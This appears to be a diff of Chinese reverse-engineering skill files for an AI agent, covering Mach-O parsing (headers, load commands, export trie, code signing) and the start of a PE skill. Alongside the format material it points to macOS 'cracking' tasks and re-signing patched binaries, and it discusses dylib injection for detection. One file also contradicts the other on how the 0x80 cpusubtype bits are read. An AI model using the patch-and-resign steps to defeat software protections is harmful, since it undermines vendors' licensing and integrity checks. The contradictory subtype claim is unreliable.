记录各段 vmaddr/vmsize/fileoff;`__TEXT,__text` 是代码,`__DATA,__data` 是可写数据,GOT 在 `__DATA_CONST,__got`(只读常量段;旧二进制在 `__DATA,__got`);`__LINKEDIT` 是**有 vmaddr/vmsize 的正常段**,通常映射为只读区域(vmmap 里能看到),存放符号表/字符串表/重定位/签名等链接元数据——具体存在方式受 dyld 与 shared cache 影响。
|
||||
|
||||
4. **入口(LC_MAIN / LC_UNIXTHREAD)**:
|
||||
```sh
|
||||
otool -l sample | grep -A6 LC_MAIN
|
||||
```
|
||||
`entryoff` 是入口相对文件头的偏移,入口 VA = __TEXT 段 vmaddr + entryoff(64 位下 __TEXT 基址通常 0x100000000)。老二进制用 LC_UNIXTHREAD(寄存器 state 含入口)。可执行文件无 LC_MAIN 且无 LC_UNIXTHREAD 属畸形,重点排查。
|
||||
|
||||
5. **dyld 信息(LC_DYLD_INFO_ONLY / 导出 trie)**:
|
||||
```sh
|
||||
otool -l sample | grep -A9 LC_DYLD_INFO_ONLY
|
||||
llvm-objdump --macho --exports-trie sample # 导出符号(trie 解码)
|
||||
```
|
||||
offset+size 共五组、合计 48 字节,都在 LC_DYLD_INFO_ONLY 里:rebase(基址修正点)、bind(外部符号绑定,非惰性)、weak_bind(弱符号绑定,弱符号合并语义独立,不得并入 bind)、lazy_bind(惰性绑定)、export(导出 trie);新版二进制用 LC_DYLD_CHAINED_FIXUPS(链式修正,iOS 13+ 默认)。dylib 的导出符号在 trie 里,`nm -gU` 同效果。
|
||||
|
||||
6. **动态库依赖链(注入检测)**:
|
||||
```sh
|
||||
otool -L sample # LC_LOAD_DYLIB 列表(依赖库 + install name)
|
||||
otool -l sample | grep -A4 LC_LOAD_DYLIB
|
||||
```
|
||||
每个 LC_LOAD_DYLIB:name(绝对路径或 @rpath/@executable_path 相对)+ timestamp/current_version。**恶意 dylib 持久化 = 新增 LC_LOAD_DYLIB 条目**——与签名时列表比对不一致是重要告警(详见坑)。two-level namespace 下符号查找按 (库, 符号) 二元组,导入解析严格。
|
||||
|
||||
7. **符号表(nlist_64)**:
|
||||
```sh
|
||||
llvm-nm -m sample # 含段归属与 N_EXT 标记;undefined = 导入
|
||||
llvm-nm -gU sample # 仅外部定义符号(导出)
|
||||
otool -l sample | grep -A3 LC_SYMTAB # symoff/nsyms/stroff/strsize 定位表
|
||||
```
|
||||
nlist_64 每条 16 字节:n_strx(字符串表偏移)+ n_type(N_EXT/N_SECT 等)+ n_sect + n_desc + n_value。stripped 后 `.symtab` 消失,只剩 LC_DYLD_INFO 的导出 trie 与动态绑定信息——恢复思路同 ELF([[re-imports]] 签名匹配 + 字符串交叉引用)。
|
||||
|
||||
8. **代码签名检查**:
|
||||
```sh
|
||||
codesign -dv sample 2>&1 # 签名类型(adhoc / Apple Development / not signed)
|
||||
codesign --verify --deep sample # 完整性验证
|
||||
jtool2 --sig sample | head -20 # LC_CODE_SIGNATURE 细节(CodeDirectory/哈希)
|
||||
```
|
||||
- `adhoc`:自签,可被修改后重签(`codesign -f -s - sample`)
|
||||
- Apple 签名:修改任何字节都会失效;Library Validation 开启时注入 dylib 会失败
|
||||
- 无 LC_CODE_SIGNATURE = 未签名(iOS 上无法直接运行)
|
||||
|
||||
9. **手工解析与验证**:load command 输出异常/头字段被伪造时,用 `xxd` + Python `struct` 按偏移直接解析 mach_header 与各 LC(最小可运行示例与字节样例见 [[examples]]),别把解析失败当"损坏文件"丢弃。
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]]:工作流第 3 步,Mach-O 目标格式解析
|
||||
- [[re-mobile]]:iOS App/越狱环境分析的前置(arm64 Mach-O 主二进制与 dylib)
|
||||
- [[re-ios]] / [[re-macos]]:生态衔接(App 层、签名公证、TCC/SIP 限制)
|
||||
- [[re-cracking]]:macOS 破解类任务(补丁后重签流程见本技能步骤 8)
|
||||
- [[re-imports]]:dylib 依赖与导出符号的劫持面分析
|
||||
- 动态调试配合 [[re-lldb]](SIP/TCC 限制见 [[re-analyze/platform-tips]])
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **签名验证会拦调试/注入**:修改过的二进制 codesign 校验失败无法运行——先 `codesign -f -s -` 重签(仅限自签/adhoc 场景);Library Validation 开启时 `DYLD_INSERT_LIBRARIES` 失效
|
||||
- **iOS 上需越狱环境**:真机调试要开发者证书或越狱,模拟器进程受沙盒限制——静态解析可先行,动态部分交给 [[re-mobile]]
|
||||
- **LC_LOAD_DYLIB 注入检测**:恶意 dylib 通过新增 LC_LOAD_DYLIB 实现持久化——`otool -L` 列表与签名时列表不一致是重要告警
|
||||
- **通用二进制含多架构片**:先 `lipo -info` 确认架构再 `lipo -thin` 提取,别对全片解析;fat 头里各片 offset 是绝对文件偏移,按 (offset, size) 切出单片
|
||||
- **GOT 位置随版本迁移**:新产物 GOT 在 `__DATA_CONST,__got`(只读,装载后重定位一次);旧产物在 `__DATA,__got`(可写)——找 GOT 先 `otool -l` 看段名,别假设
|
||||
- **dyld 共享缓存里没有独立 dylib 文件**:系统库(libSystem.dylib 等)实际在 `/System/Library/dyld/` 缓存内,文件系统里只有 stub——分析系统库用 `dyld_shared_cache_util -extract` 抽出
|
||||
- **load command 遍历错位**:现象——`otool -l` 输出中途乱码/报错;原因——ncmds 与 sizeofcmds 被伪造或某条 LC 的 cmdsize 异常;对策——所有 LC 至少 8 字节(`load_command` 头本身 `cmd`+`cmdsize`),64 位下 cmdsize 须为 8 的倍数、32 位为 4 的倍数,再按具体 cmd 校验其结构最小尺寸与尾随 section/字符串,累计不超 sizeofcmds
|
||||
- **__LINKEDIT 是映射段,但内容可能被 dyld 加工**:它有自己的 vmaddr/vmsize,通常以只读映射存在(`vmmap` 可见);不过 shared cache 共享库的链接元数据驻留在共享缓存里,直接从进程内存按文件偏移找符号表常常对不上——定位符号表优先用 `nm`/`dyldinfo`/MachOView 等按 LC_SYMTAB 解析,而不是照抄文件偏移
|
||||
@@ -0,0 +1,192 @@
|
||||
# Mach-O 最小解析示例
|
||||
|
||||
以下示例以本机(Linux + clang 22 + ld64.lld)构建的真实 x86_64 Mach-O 可执行文件为标本,otool/llvm-objdump 输出与 Python/字节样例可逐字段对照。构建命令(无 macOS 环境时可复现,仅需 clang + lld 的 darwin 支持):
|
||||
|
||||
```sh
|
||||
# hello.c: 定义 _start 入口(Mach-O 中 C 符号加下划线,链接器 -e 用 __start)
|
||||
clang -target x86_64-apple-darwin -c hello.c -o hello.o
|
||||
ld64.lld -arch x86_64 -platform_version macos 10.13 10.13 \
|
||||
-e __start -undefined dynamic_lookup hello.o -o hello_macho
|
||||
```
|
||||
|
||||
## 1. 工具输出对照
|
||||
|
||||
### `llvm-otool -h hello_macho`(mach_header,全字段)
|
||||
|
||||
```
|
||||
Mach header
|
||||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||||
0xfeedfacf 16777223 3 0x80 2 13 1288 0x00200085
|
||||
```
|
||||
|
||||
对照要点:magic=0xfeedfacf(64 位 LE);cputype=16777223=0x01000007=x86_64;cpusubtype=3、caps=0x80(x86_64h 能力位);filetype=2=MH_EXECUTE;ncmds=13、sizeofcmds=1288(二者乘积关系可校验遍历);flags=0x00200085 = NOUNDEFS(1)+DYLDLINK(2)+TWOLEVEL(4)+PIE(0x200000)。
|
||||
|
||||
### `llvm-otool -l hello_macho`(load commands,节选)
|
||||
|
||||
```
|
||||
Load command 0
|
||||
cmd LC_SEGMENT_64
|
||||
cmdsize 72
|
||||
segname __PAGEZERO
|
||||
vmaddr 0x0000000000000000
|
||||
vmsize 0x0000000100000000 ← 4GB 空洞(空指针保护)
|
||||
maxprot 0x00000000 initprot 0x00000000 nsects 0
|
||||
Load command 1
|
||||
cmd LC_SEGMENT_64
|
||||
cmdsize 552
|
||||
segname __TEXT
|
||||
vmaddr 0x0000000100000000
|
||||
fileoff 0 filesize 8192
|
||||
maxprot 0x00000005 initprot 0x00000005 nsects 6 ← RX
|
||||
Section
|
||||
sectname __text addr 0x100000550 size 0x1e offset 1360 align 2^4
|
||||
sectname __stubs addr 0x100000570 size 0x6 offset 1392 reserved1 1 (index into indirect symbol table)
|
||||
sectname __cstring addr 0x100000592 size 0xf offset 1426 flags 0x00000002 (CSTRING_LITERALS)
|
||||
Load command 2
|
||||
cmd LC_SEGMENT_64
|
||||
segname __DATA vmaddr 0x100002000 fileoff 8192 initprot 0x3 nsects 3
|
||||
Section
|
||||
sectname __got addr 0x100002000 size 8 offset 8192 flags 0x6 (POINTERS) reserved1 0
|
||||
sectname __la_symbol_ptr addr 0x100002008 size 8 offset 8200 flags 0x7 (LAZY_POINTERS) reserved1 2
|
||||
Load command 3
|
||||
cmd LC_SEGMENT_64 segname __LINKEDIT vmaddr 0x100003000 fileoff 12288 nsects 0
|
||||
Load command 4
|
||||
cmd LC_DYLD_INFO_ONLY
|
||||
cmdsize 48
|
||||
rebase_off 12288 rebase_size 8
|
||||
bind_off 12296 bind_size 24
|
||||
lazy_bind_off 12320 lazy_bind_size 16
|
||||
export_off 12336 export_size 48
|
||||
Load command 5
|
||||
cmd LC_SYMTAB
|
||||
symoff 12392 nsyms 5 stroff 12488 strsize 72
|
||||
Load command 7
|
||||
cmd LC_LOAD_DYLINKER cmdsize 32 name /usr/lib/dyld (offset 12)
|
||||
Load command 8
|
||||
cmd LC_UUID cmdsize 24 uuid ...
|
||||
Load command 9
|
||||
cmd LC_VERSION_MIN_MACOSX cmdsize 16 version 10.13 sdk 10.13
|
||||
Load command 10
|
||||
cmd LC_MAIN
|
||||
cmdsize 24
|
||||
entryoff 1360 ← 入口文件偏移 = __text 的 offset(0x550)
|
||||
stacksize 0
|
||||
Load command 11
|
||||
cmd LC_LOAD_DYLIB
|
||||
cmdsize 40
|
||||
name libstub.dylib (offset 24) ← 依赖库(本示例用 -L. -lstub 链接出的)
|
||||
```
|
||||
|
||||
对照要点:LC_SEGMENT_64 的 cmdsize=72+80×nsects(552=72+80×6,自查一致);__text 的 addr 与 LC_MAIN.entryoff 一致(0x100000550 与 1360);__got/__la_symbol_ptr 的 reserved1 指向 LC_DYSYMTAB 的间接符号表索引;LC_LOAD_DYLIB 的 name 从偏移 24 开始(16+8=24)。入口 VA = 0x100000000 + 0x550 = 0x100000550。
|
||||
|
||||
### `llvm-nm -m hello_macho`(符号表,含段归属)
|
||||
|
||||
```
|
||||
0000000100002010 (__DATA,__data) non-external __dyld_private
|
||||
0000000100000000 (__TEXT,__text) [referenced dynamically] external __mh_execute_header
|
||||
0000000100000550 (__TEXT,__text) external __start
|
||||
(undefined) external _puts (dynamically looked up)
|
||||
(undefined) external dyld_stub_binder (dynamically looked up)
|
||||
```
|
||||
|
||||
对照要点:外部定义符号带 (段,节) 归属;undefined 条目 = 导入(依赖 dyld 绑定);`__mh_execute_header` 是 Mach-O 特有的"文件头即符号"(macho_header 的地址)。nlist_64 的 n_sect 值指向节序号。
|
||||
|
||||
## 2. Python struct 解析 mach_header(最小可运行)
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
def parse_macho_header(path):
|
||||
d = open(path, 'rb').read(32)
|
||||
magic = struct.unpack_from('<I', d, 0)[0]
|
||||
if magic == 0xFEEDFACF: # MH_MAGIC_64(LE 文件字节 cffaedfe)
|
||||
f = struct.unpack_from('<IIIIIIII', d, 0) # 8 个 u32 = 32 字节
|
||||
return dict(magic=hex(f[0]), cputype=f[1], cpusubtype=f[2],
|
||||
filetype=f[3], ncmds=f[4], sizeofcmds=f[5],
|
||||
flags=hex(f[6]), reserved=f[7])
|
||||
if magic == 0xFEEDFACE: # 32 位,28 字节
|
||||
f = struct.unpack_from('<IIIIIII', d, 0)
|
||||
return dict(magic=hex(f[0]), cputype=f[1], cpusubtype=f[2],
|
||||
filetype=f[3], ncmds=f[4], sizeofcmds=f[5], flags=hex(f[6]))
|
||||
raise ValueError('not a Mach-O (magic %x)' % magic)
|
||||
|
||||
print(parse_macho_header('hello_macho'))
|
||||
# {'magic': '0xfeedfacf', 'cputype': 16777223, 'cpusubtype': 3, 'filetype': 2,
|
||||
# 'ncmds': 13, 'sizeofcmds': 1288, 'flags': '0x200085', 'reserved': 0}
|
||||
# —— 与 llvm-otool -h 逐字段一致
|
||||
```
|
||||
|
||||
按 mach_header 的 ncmds/cmdsize 可继续遍历 LC:前 8 字节 `I I`(cmd, cmdsize),cmdsize=0 或超过 sizeofcmds 总量即遍历异常。LC_SEGMENT_64 用 `'<I I 16s QQQQQ II II'` 展开(72 字节),再按 nsects 解析 80 字节的 section_64。
|
||||
|
||||
## 3. 字节样例(hello_macho 前 32 字节,逐字段标注)
|
||||
|
||||
```
|
||||
00000000: cffa edfe 0700 0001 0300 0080 0200 0000 ................
|
||||
magic──┘ └cputype(0x01000007=x86_64)┘ └cpusubtype(0x80000003)┘
|
||||
filetype=02(MH_EXECUTE)───────────┘
|
||||
00000010: 0d00 0000 0805 0000 8500 2000 0000 0000 .......... .....
|
||||
ncmds=13(0x0d)──┘ └sizeofcmds=1288(0x508) └flags=0x00200085
|
||||
reserved=0────────────────────────┘
|
||||
```
|
||||
|
||||
对照流程:`xxd -l 32 hello_macho` 与 `llvm-otool -h` 输出对照;magic 不符先查是不是 fat(cafebabe)再决定是否 `lipo -thin` 拆片(见 SKILL.md 坑)。
|
||||
|
||||
## 4. 导出 trie 与绑定表(LC_DYLD_INFO_ONLY 解析)
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
d = open('hello_macho', 'rb').read()
|
||||
# 读 LC_DYLD_INFO_ONLY(第 5 条 LC,前 8 字节 cmd/cmdsize)
|
||||
off = 32
|
||||
for _ in range(5):
|
||||
cmd, size = struct.unpack_from('<II', d, off)
|
||||
assert size >= 8
|
||||
off += size
|
||||
if cmd == 0x80000022: # LC_DYLD_INFO_ONLY
|
||||
(r_off, r_sz, b_off, b_sz, w_off, w_sz, l_off, l_sz, e_off, e_sz) = \
|
||||
struct.unpack_from('<10Q', d, off)
|
||||
print('export trie: off=%d size=%d' % (e_off, e_sz))
|
||||
print('export trie 原始字节:', d[e_off:e_off+e_sz].hex())
|
||||
break
|
||||
```
|
||||
|
||||
本例 trie 原始字节(export_off=12336 起,48 字节):
|
||||
|
||||
```
|
||||
00003030: 0001 5f5f 0006 0002 7374 6172 7400 226d ..__....start."m
|
||||
00003040: 685f 6578 6563 7574 655f 6865 6164 6572 h_execute_header
|
||||
00003050: 0027 0300 d00a 0002 0000 0000 0000 0000 .'..............
|
||||
```
|
||||
|
||||
解码(dyld 导出 trie 格式:边是 `\0` 结尾字符串,子节点偏移是相对 trie 起点的 uleb128——Apple dyld(MachOAnalyzer.cpp)、lld(ExportTrie.cpp)与 LLVM 解析器三方一致,无第二种边格式):
|
||||
|
||||
```
|
||||
0x00: 00 root 节点 terminalSize=0(非终端)
|
||||
01 子节点数=1
|
||||
5f 5f 00 边字符串 "__"(Mach-O 符号名含下划线前缀)
|
||||
06 子节点绝对偏移 6 → 0x3036
|
||||
0x06: 00 02 terminalSize=0;子节点数=2
|
||||
73..74 00 边 "start"
|
||||
22 子节点偏移 34 → 0x3052
|
||||
6d..72 00 边 "mh_execute_header"
|
||||
27 子节点偏移 39 → 0x3057
|
||||
0x22: 03 00 d0 0a 00 terminalSize=3;flags=0;address=uleb128(d0 0a)=0x550
|
||||
→ __start @ 0x100000000+0x550=0x100000550(与 otool 对照 ✓)
|
||||
0x27: 02 00 00 00 00 terminalSize=2;flags=0;address=0
|
||||
→ __mh_execute_header @ 0x100000000(文件头即符号)
|
||||
```
|
||||
|
||||
注意 `d0 0a` 是两字节 uleb128(0xd0 最高位=1 续读):0x50 | (0x0a<<7) = 0x550。手工解码过一遍即掌握 dyld 导出表格式:所有生成端(Apple ld64/lld)都是同一种 `\0` 结尾边 + 相对 trie 起点 uleb128 偏移,解码脚本只需处理这一种。
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 一切解析先看 magic 分 64/32 位(字段数不同),fat 先拆片
|
||||
- load commands 遍历只信 cmdsize,不信 ncmds 之外的信息;每条 LC 至少 8 字节(`load_command` 头),ncmds×8 > sizeofcmds 即异常,且各条 cmdsize 之和须等于 sizeofcmds
|
||||
- 段节是一棵树(段→节),不是平铺数组;节地址 = 段 vmaddr 内的相对偏移
|
||||
- otool 输出与文件字节必须能互相印证:对不上说明头被修改或工具解析歧义,先手工核对再下结论
|
||||
|
||||
## 使用注意
|
||||
|
||||
- Linux 上解析 Mach-O 用 llvm-otool/llvm-objdump/llvm-lipo(llvm 包自带),输出与 macOS 一致;反汇编才需交叉环境
|
||||
- 样例取自本机构建的极简二进制;分析真实样本时以样本自身 load commands 为准,别套模板
|
||||
@@ -0,0 +1,148 @@
|
||||
# Mach-O 布局:mach_header / load commands / 段节与 dyld 信息
|
||||
|
||||
Mach-O 文件 = mach_header + load commands 区 + 段数据(__TEXT/__DATA/__LINKEDIT)。load commands 同时承载节表、导入导出、入口与签名信息,是 Mach-O 与 ELF 最大的结构差异(ELF 的节头表是独立数组,Mach-O 的"节"嵌在 LC_SEGMENT_64 里)。本文件以 64 位为主,32 位差异单独标注。
|
||||
|
||||
## mach_header(文件头)
|
||||
|
||||
64 位共 32 字节(32 位 28 字节,无 reserved):
|
||||
|
||||
| 偏移 | 字段 | 大小 | 含义 |
|
||||
|---|---|---|---|
|
||||
| 0x00 | magic | u32 | 0xFEEDFACF=MH_MAGIC_64(LE 文件中字节为 cffaedfe);0xFEEDFACE=32 位;0xCAFEBABE=fat |
|
||||
| 0x04 | cputype | u32 | 0x01000007=x86_64(7\|CPU_ARCH_ABI64)**0x0100000C=arm64**(12\|CPU_ARCH_ABI64)7=i386 12=arm;**arm64e 的 cputype 与 arm64 相同(都是 0x0100000C),靠 cpusubtype 区分**——不要用 cputype 判 arm64e |
|
||||
| 0x08 | cpusubtype | u32 | **x86_64:3=`X86_64_ALL`、8=`X86_64_H`(x86_64h,Haswell 特性子集)**;**arm64:0=`ARM64_ALL`、1=`ARM64_V8`、2=`ARM64E`**(arm64e 由这里区分,不是 cputype);高位是 **capability bit**:`CPU_SUBTYPE_LIB64=0x80000000`,它**改变不了基础 subtype 的含义**(`0x80000003` 仍是 X86_64_ALL 带 64 位库标记,不是 x86_64h);arm64e 另有 `0x80000000` 作 versioned-ptrauth-ABI 掩码 |
|
||||
| 0x0C | filetype | u32 | 1=MH_OBJECT 2=MH_EXECUTE 4=MH_CORE 6=MH_DYLIB 8=MH_BUNDLE 9=MH_DYLIB_STUB |
|
||||
| 0x10 | ncmds | u32 | load commands 条数 |
|
||||
| 0x14 | sizeofcmds | u32 | load commands 区总字节数(每条 cmdsize 之和) |
|
||||
| 0x18 | flags | u32 | 按 Apple `loader.h` 的**位值**读,不要手工排成连续编号:`0x1`=NOUNDEFS、`0x2`=INCRLINK、`0x4`=DYLDLINK、`0x8`=BINDATLOAD、`0x10`=PREBOUND、`0x20`=SPLIT_SEGS、**`0x40`=LAZY_INIT(已废弃)**、**`0x80`=TWOLEVEL**、`0x100`=FORCE_FLAT、`0x200`=NOMULTIDEFS、**`0x200000`=PIE**、**`0x800000`=HAS_TLV_DESCRIPTORS(TLS 描述符,现代产物常见)** |
|
||||
| 0x1C | reserved | u32 | 仅 64 位,恒 0 |
|
||||
|
||||
## load commands(LC)通用头
|
||||
|
||||
每条 LC 前 8 字节固定:`cmd: u32 + cmdsize: u32`;cmdsize 是整条命令长度(含这 8 字节),按此顺序遍历。下界只有这 8 字节(`load_command` 头本身),无 16 字节之说;64 位下 cmdsize 须为 8 的倍数、32 位为 4 的倍数,且按具体 cmd 校验其结构最小尺寸与尾随 section/字符串。
|
||||
|
||||
### 常见 LC 类型值
|
||||
|
||||
| 值 | 名称 | 含义 |
|
||||
|---|---|---|
|
||||
| 0x01 | LC_SEGMENT | 段(32 位) |
|
||||
| 0x02 | LC_SYMTAB | 符号表(symoff/nsyms/stroff/strsize) |
|
||||
| 0x05 | LC_UNIXTHREAD | 老入口(寄存器 state 含 rip) |
|
||||
| 0x0B | LC_DYSYMTAB | 符号表分类(本地/外部/未定义范围索引) |
|
||||
| 0x0C | LC_LOAD_DYLIB | 依赖动态库 |
|
||||
| 0x0D | LC_ID_DYLIB | dylib 自身 install name |
|
||||
| 0x0E | LC_LOAD_DYLINKER | 加载器路径(/usr/lib/dyld) |
|
||||
| 0x19 | LC_SEGMENT_64 | 段(64 位) |
|
||||
| 0x1B | LC_UUID | 24 字节 UUID |
|
||||
| 0x1D | LC_CODE_SIGNATURE | 签名区(dataoff/datasize) |
|
||||
| 0x22 / 0x80000022 | LC_DYLD_INFO / _ONLY | dyld 信息表(新) |
|
||||
| 0x24 | LC_VERSION_MIN_MACOSX | 最低 macOS 版本(旧式) |
|
||||
| 0x26 | LC_FUNCTION_STARTS | 函数起始地址压缩表 |
|
||||
| 0x80000028 | LC_MAIN | 新入口(entryoff/stacksize) |
|
||||
| 0x29 | LC_DATA_IN_CODE | 代码内数据区表 |
|
||||
| 0x32 | LC_BUILD_VERSION | 构建版本(platform+版本,新式,替代 LC_VERSION_MIN_*) |
|
||||
| 0x80000033 | LC_DYLD_EXPORTS_TRIE | 独立导出 trie(新) |
|
||||
| 0x80000034 | LC_DYLD_CHAINED_FIXUPS | 链式重定位(iOS 13+/macOS 10.15+) |
|
||||
|
||||
## LC_SEGMENT_64(段,72 字节;32 位 LC_SEGMENT 56 字节)
|
||||
|
||||
| 偏移 | 字段 | 大小 | 含义 |
|
||||
|---|---|---|---|
|
||||
| 0x00 | cmd / cmdsize | u32×2 | 0x19 / 72+80×nsects |
|
||||
| 0x08 | segname | 16 | 段名(__TEXT/__DATA/__LINKEDIT...) |
|
||||
| 0x18 | vmaddr | u64 | 段装载虚拟地址(__TEXT 通常 0x100000000) |
|
||||
| 0x20 | vmsize | u64 | 内存大小 |
|
||||
| 0x28 | fileoff | u64 | 文件偏移 |
|
||||
| 0x30 | filesize | u64 | 文件内大小 |
|
||||
| 0x38 | maxprot | u32 | 最大内存权限(7=RWX) |
|
||||
| 0x3C | initprot | u32 | 初始权限(5=RX 3=RW 1=R) |
|
||||
| 0x40 | nsects | u32 | 节数 |
|
||||
| 0x44 | flags | u32 | 0 |
|
||||
|
||||
## section_64(节,80 字节,嵌在段内)
|
||||
|
||||
| 偏移 | 字段 | 大小 | 含义 |
|
||||
|---|---|---|---|
|
||||
| 0x00 | sectname | 16 | 节名(__text/__data/__got...) |
|
||||
| 0x10 | segname | 16 | 所属段名 |
|
||||
| 0x20 | addr | u64 | 节起始 VA |
|
||||
| 0x28 | size | u64 | 节大小 |
|
||||
| 0x30 | offset | u32 | 文件偏移 |
|
||||
| 0x34 | align | u32 | 2 的幂(4=16 字节对齐) |
|
||||
| 0x38 | reloff / nreloc | u32×2 | 重定位区(.o 常用) |
|
||||
| 0x40 | flags | u32 | 低位=节类型(0x1=REGULAR 0x2=CSTRING_LITERALS 0x6=POINTERS 0x7=LAZY_POINTERS);高位属性 |
|
||||
| 0x44 | reserved1 | u32 | 间接符号表索引(__got/__la_symbol_ptr 用) |
|
||||
| 0x48 | reserved2 | u32 | stub 大小等 |
|
||||
| 0x4C | reserved3 | u32 | 0 |
|
||||
|
||||
## 典型段节布局(64 位可执行文件)
|
||||
|
||||
```
|
||||
__PAGEZERO vmaddr 0x0000000000000000 vmsize 4GB (不可访问,空指针崩溃防护)
|
||||
__TEXT vmaddr 0x0000000100000000 RX
|
||||
__text 代码 / __stubs / __stub_helper / __cstring 字符串
|
||||
__unwind_info / __eh_frame
|
||||
__swift5_* (Swift 元数据,见 [[re-swift]])
|
||||
__DATA vmaddr 0x100002000 RW
|
||||
__got GOT(新产物在 __DATA_CONST) / __la_symbol_ptr / __data / __bss
|
||||
__DATA_CONST 只读常量(__got、__const;Swift 产物常见)
|
||||
__LINKEDIT vmaddr 末尾段 R (映射只读;链接元数据,shared cache 场景驻留方式不同)
|
||||
LC_SYMTAB 符号表 / LC_DYSYMTAB 分类 / 重定位 / 代码签名 / 导出 trie
|
||||
```
|
||||
|
||||
- 加载范围 = __TEXT..__LINKEDIT 覆盖的 vmaddr 区间;__PAGEZERO 不映射
|
||||
- 入口 VA = __TEXT.vmaddr + LC_MAIN.entryoff(实测示例见 [[examples]])
|
||||
- GOT 槽初始化靠 dyld 重定位(bind 表),装载后 __DATA_CONST 段被置只读
|
||||
|
||||
## dyld 信息
|
||||
|
||||
### LC_DYLD_INFO_ONLY(48 字节;LC_DYLD_INFO 同结构)
|
||||
|
||||
| 字段 | 含义 |
|
||||
|---|---|
|
||||
| rebase_off / rebase_size | 基址修正表(64 位地址低位写入) |
|
||||
| bind_off / bind_size | 外部符号绑定表(非惰性,如 __got 槽) |
|
||||
| weak_bind_off / weak_bind_size | 弱符号绑定 |
|
||||
| lazy_bind_off / lazy_bind_size | 惰性绑定(__la_symbol_ptr,首次调用才绑) |
|
||||
| export_off / export_size | 导出符号 trie(前缀树:字节为 key 分叉,节点存符号偏移+标志) |
|
||||
|
||||
### 动态解析链
|
||||
|
||||
```
|
||||
LC_LOAD_DYLIB → 依赖库列表(otool -L)
|
||||
LC_SYMTAB → 符号表(nlist_64×nsyms + 字符串表)
|
||||
LC_DYLD_INFO_ONLY → rebase/bind/weak_bind/lazy_bind/export 五组表(weak_bind 语义独立于 bind,不得并入)
|
||||
导出符号定位:export trie 逐字节匹配前缀 → 叶子存 symbol 偏移(相对 trie 所在区域)
|
||||
绑定信息定位:bind 表的 opcode 流(ADDR/SYMBOL/TYPE 等)→ GOT 槽 ← 符号
|
||||
```
|
||||
|
||||
### nlist_64(符号条目,16 字节;32 位 12 字节)
|
||||
|
||||
| 偏移 | 字段 | 大小 | 含义 |
|
||||
|---|---|---|---|
|
||||
| 0x00 | n_strx | u32 | 符号名在字符串表内的偏移 |
|
||||
| 0x04 | n_type | u8 | **拆两层读**:基础类型 = `n_type & N_TYPE(0x0e)`,取值 `0x0=N_UNDF`、`0x2=N_ABS`、**`0xE=N_SECT`**、`0xA=N_INDR`;属性位单独判——`N_EXT(0x01)` 外部、`N_PEXT(0x10)` 私有外部。**不要把组合值当基础类型**:`0x0f` = `N_SECT\|N_EXT`(外部的节定义符号),不是 undefined |
|
||||
| 0x05 | n_sect | u8 | 所在节序号(1 起) |
|
||||
| 0x06 | n_desc | u16 | 引用计数/库序号(two-level namespace) |
|
||||
| 0x08 | n_value | u64 | 地址或值 |
|
||||
|
||||
## fat(通用二进制)头
|
||||
|
||||
| 字段 | 大小 | 含义 |
|
||||
|---|---|---|
|
||||
| magic | u32 | **fat 结构在磁盘上恒为大端**(与宿主字节序无关):正常 FAT 文件开头**就是字节 `CA FE BA BE`**(大端读得 `FAT_MAGIC=0xcafebabe`);小端读这 4 字节得 `0xbebafeca`,即 `FAT_CIGAM`——**那是同一份字节被小端解释的结果,不是"小端文件"**。64 位 fat:`FAT_MAGIC_64=0xcafebabf`。**别用宿主的端序去猜文件端序** |
|
||||
| nfat_arch | u32 | 架构片数 |
|
||||
| 每条 fat_arch:cputype/cpusubtype/offset/size/align | 各 u32(**同样大端**) | offset 是指向该 slice 的绝对文件偏移;**`align` 是"对齐的 2 的幂"**——slice 必须满足 `2^align` 对齐,而不是固定 4 字节对齐(尤其 64 位 fat 用 `fat_arch_64`,另有 reserved 字段) |
|
||||
|
||||
## 版本差异要点
|
||||
|
||||
- 入口:老二进制 LC_UNIXTHREAD(0x05),新二进制 LC_MAIN(0x80000028)
|
||||
- 版本命令:LC_VERSION_MIN_MACOSX(0x24)→ LC_BUILD_VERSION(0x32,多 platform 字段)
|
||||
- dyld 重定位:LC_DYLD_INFO_ONLY 五组表(macOS 10.8+)→ LC_DYLD_CHAINED_FIXUPS 链式(iOS 13+/macOS 10.15+,减小启动开销)
|
||||
- GOT 位置:__DATA,__got → __DATA_CONST,__got(iOS 13+/macOS 10.14+)
|
||||
- 导出 trie 可独立成 LC_DYLD_EXPORTS_TRIE(LC_DYLD_INFO 的 export 字段为 0)
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 静态解析无需沙箱;跨架构 Mach-O(arm64 片)在 x86 Linux 上可用 llvm-objdump/llvm-otool 直接解析,反汇编需交叉工具
|
||||
- 与 [[re-imports]](dylib 依赖/劫持面)、[[re-triage]](初勘)、[[re-lldb]](动态)配合使用
|
||||
185
vendor-new/rev-skills/.claude/skills/re-format-pe/SKILL.md
Normal file
185
vendor-new/rev-skills/.claude/skills/re-format-pe/SKILL.md
Normal file
@@ -0,0 +1,185 @@
|
||||
---
|
||||
name: re-format-pe
|
||||
description: >
|
||||
PE 格式解析:DOS/NT 头、节表、导入导出、TLS 回调、Rich Header、证书表。
|
||||
触发词:PE格式、解析exe、section表、Delphi、VB6、vmt、MSVBVM60、RTTI、老程序
|
||||
capabilities: [pe-parser]
|
||||
---
|
||||
|
||||
# PE 格式解析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:目标是 Windows PE 文件(.exe/.dll/.sys),需要理解结构、找壳特征、定位入口/TLS 回调、映射 RVA 与文件偏移
|
||||
- 不用:ELF(走 [[re-format-elf]])、Mach-O(走 [[re-format-macho]]);只需函数逻辑(直接反编译技能)
|
||||
- 不用:只需快速结论(初勘走 [[re-triage]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]] 平台分支——Windows 目标可静态分析免沙箱,动态执行一律沙箱。
|
||||
|
||||
### objdump(binutils)
|
||||
|
||||
- Linux: `apt install binutils` / `dnf install binutils` / `pacman -S binutils`
|
||||
- macOS: `brew install binutils`(`gobjdump`)
|
||||
- Windows/WSL: WSL 内 Linux 版
|
||||
- 验证: `objdump -V`
|
||||
- 注意: 对 PE 用 `objdump -p` / `objdump -x`(readelf 不解析 PE,属非直接工具——只用于对照 ELF 侧知识)
|
